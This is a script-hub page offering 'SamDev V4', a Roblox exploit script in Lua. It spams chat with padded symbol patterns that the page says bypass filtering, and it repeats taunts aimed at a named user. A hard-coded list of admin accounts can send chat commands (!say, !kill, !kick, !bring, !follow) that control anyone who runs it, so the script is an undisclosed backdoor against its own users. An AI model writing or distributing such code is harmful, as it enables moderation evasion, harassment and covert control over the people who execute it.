SamDev V4
Key RequiredUniversal

SamDev V4

Universal Scriptgreninjayt007greninjayt007 326 views 2 executesUpdated Jan 6, 2026
Unrated
00
Lua Script•184 lines (7111 chars)
-- SAMDEV V4: CLEAN & AESTHETIC
-- ADMINS: greninjaYT_07, Golden23265, DE4DLYxf0under_JAMU, Tmkx
local lp = game:GetService("Players").LocalPlayer
local rs = game:GetService("ReplicatedStorage")
local tcs = game:GetService("TextChatService")
local run = game:GetService("RunService")
local tele = game:GetService("TeleportService")

-- 1. Configuration
local ADMINS = {
    ["greninjaYT_07"] = true, 
    ["Golden23265"] = true, 
    ["DE4DLYxf0under_JAMU"] = true,
    ["Tmkx"] = true
}

local active = false
local index = 1
local patternIndex = 1 
local waitTime = 1.4 

-- Movement Variables
local dancing = false
local spinning = false
local following = nil

-- 2. Aesthetic UI Setup
local old = lp.PlayerGui:FindFirstChild("SAMDEV_V4_UI")
if old then old:Destroy() end

local sg = Instance.new("ScreenGui", lp.PlayerGui)
sg.Name = "SAMDEV_V4_UI"; sg.ResetOnSpawn = false

-- Main Container
local frame = Instance.new("Frame", sg)
frame.Size = UDim2.new(0, 300, 0, 180)
frame.Position = UDim2.new(0.5, -150, 0.45, -90)
frame.BackgroundColor3 = Color3.fromRGB(20, 20, 25)
frame.BorderSizePixel = 0
frame.Active = true; frame.Draggable = true

local corner = Instance.new("UICorner", frame)
corner.CornerRadius = UDim.new(0, 10)

local stroke = Instance.new("UIStroke", frame)
stroke.Color = Color3.fromRGB(80, 80, 100)
stroke.Thickness = 2

-- Smooth Rainbow Border
task.spawn(function()
    while task.wait(0.05) do
        stroke.Color = Color3.fromHSV(tick() % 5 / 5, 0.6, 1)
    end
end)

-- Header (SAMDEV V4)
local header = Instance.new("TextLabel", frame)
header.Size = UDim2.new(1, 0, 0, 45)
header.BackgroundTransparency = 1
header.Text = "SAMDEV V4"
header.TextColor3 = Color3.fromRGB(255, 255, 255)
header.Font = Enum.Font.GothamBold
header.TextSize = 22

-- Input Box
local input = Instance.new("TextBox", frame)
input.Size = UDim2.new(0.85, 0, 0, 35)
input.Position = UDim2.new(0.075, 0, 0.35, 0)
input.BackgroundColor3 = Color3.fromRGB(35, 35, 40)
input.Text = "SAMDEV V4 H8TERS"
input.TextColor3 = Color3.fromRGB(255, 255, 255)
input.Font = Enum.Font.GothamMedium
input.TextSize = 14

local inputCorner = Instance.new("UICorner", input)
inputCorner.CornerRadius = UDim.new(0, 6)

-- Start Button
local startBtn = Instance.new("TextButton", frame)
startBtn.Size = UDim2.new(0.4, 0, 0, 35)
startBtn.Position = UDim2.new(0.075, 0, 0.65, 0)
startBtn.BackgroundColor3 = Color3.fromRGB(40, 180, 100)
startBtn.Text = "START"
startBtn.TextColor3 = Color3.new(1, 1, 1)
startBtn.Font = Enum.Font.GothamBold
startBtn.TextSize = 14

local startCorner = Instance.new("UICorner", startBtn)
startCorner.CornerRadius = UDim.new(0, 6)

-- Stop Button
local stopBtn = Instance.new("TextButton", frame)
stopBtn.Size = UDim2.new(0.4, 0, 0, 35)
stopBtn.Position = UDim2.new(0.525, 0, 0.65, 0)
stopBtn.BackgroundColor3 = Color3.fromRGB(200, 60, 60)
stopBtn.Text = "STOP"
stopBtn.TextColor3 = Color3.new(1, 1, 1)
stopBtn.Font = Enum.Font.GothamBold
stopBtn.TextSize = 14

local stopCorner = Instance.new("UICorner", stopBtn)
stopCorner.CornerRadius = UDim.new(0, 6)

-- 3. Engine (Patterns: -_- | +_+ | # | #_# | @_@)
local function send(msg, isPattern)
    if not msg then return end
    local finalMsg = msg
    if isPattern then
        local patterns = {"-_-", "+_+", "#", "#_#", "@_@"} 
        local p = patterns[patternIndex] 
        finalMsg = string.rep(p, math.floor(170 / #p)) .. "." .. msg
        patternIndex = (patternIndex >= #patterns) and 1 or (patternIndex + 1)
    end
    
    pcall(function()
        local chat = tcs:FindFirstChild("RBXGeneral", true) or (tcs:FindFirstChild("TextChannels") and tcs.TextChannels:FindFirstChild("RBXGeneral"))
        if chat then chat:SendAsync(finalMsg) end
        
        local legacy = rs:FindFirstChild("SayMessageRequest", true) or rs:FindFirstChild("DefaultChatSystemChatEvents"):FindFirstChild("SayMessageRequest")
        if legacy then legacy:FireServer(finalMsg, "All") end
    end)
end

-- 4. Command Logic
local function handleCmd(text, sender)
    local raw = text:lower(); local char = lp.Character; local hum = char and char:FindFirstChildOfClass("Humanoid")
    
    if raw:sub(1,5) == "!say " then send(text:sub(6), false)
    elseif raw == "!sit" then if hum then hum.Sit = true end
    elseif raw:sub(1,7) == "!start " then input.Text = text:sub(8); active = true
    elseif raw == "!stop" then active = false
    elseif raw == "!kill" then if hum then hum.Health = 0 end
    elseif raw == "!rj" then tele:Teleport(game.PlaceId, lp)
    elseif raw == "!bring" then if char and sender.Character then char:MoveTo(sender.Character.HumanoidRootPart.Position) end
    elseif raw == "!cmds" then send("!start, !stop, !say, !sit, !kill, !rj, !bring, !follow, !unfollow, !speed, !view, !unview, !dance, !spin, !kick", false)
    
    elseif raw == "!dance" then dancing = not dancing; spinning = false 
    elseif raw == "!spin" then spinning = not spinning; dancing = false
        
    elseif raw == "!follow" then following = sender.Name
    elseif raw == "!unfollow" then following = nil
    elseif raw:sub(1,7) == "!speed " then waitTime = tonumber(raw:sub(8)) or 1.4
    elseif raw == "!view" then workspace.CurrentCamera.CameraSubject = sender.Character.Humanoid
    elseif raw == "!unview" then workspace.CurrentCamera.CameraSubject = lp.Character.Humanoid
    elseif raw:sub(1,6) == "!kick " then
        local target = raw:sub(7):gsub("%s+", "")
        if (lp.Name:lower():find(target)) and not ADMINS[lp.Name] then lp:Kick("Kicked by SAMDEV V4") end
    end
end

-- 5. Execution
for _, p in pairs(game.Players:GetPlayers()) do p.Chatted:Connect(function(m) if ADMINS[p.Name] then handleCmd(m, p) end end) end
game.Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(m) if ADMINS[p.Name] then handleCmd(m, p) end end) end)

run.RenderStepped:Connect(function()
    if not lp.Character then return end
    local root = lp.Character:FindFirstChild("HumanoidRootPart")
    if not root then return end
    
    if dancing then root.CFrame = root.CFrame * CFrame.Angles(0, math.rad(math.sin(tick() * 10) * 5), 0) end
    if spinning then root.CFrame = root.CFrame * CFrame.Angles(0, math.rad(20), 0) end
    
    if following and game.Players:FindFirstChild(following) then
        local t = game.Players[following].Character
        if t and t:FindFirstChild("HumanoidRootPart") then 
            lp.Character.Humanoid:MoveTo(t.HumanoidRootPart.Position + Vector3.new(3,0,3)) 
        end
    end
end)

task.spawn(function()
    local phrases = {"Tmkx friger", "Tmkx Burger", "Tmkx pizza", "Tmkx Qatar", "Tmkx juice", "Tmkx orange", "Tmkx ball", "Tmkx chakka", "Tmkx ethiopia"}
    while true do
        if active then
            send(tostring(input.Text) .. " " .. phrases[index], true)
            if phrases[index] == "Tmkx ethiopia" then task.wait(5) else task.wait(waitTime) end
            index = (index >= #phrases) and 1 or (index + 1)
        end
        task.wait(0.1)
    end
end)

startBtn.MouseButton1Click:Connect(function() active = true end)
stopBtn.MouseButton1Click:Connect(function() active = false end)

Features & Information

Bypass Small text Pattern

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts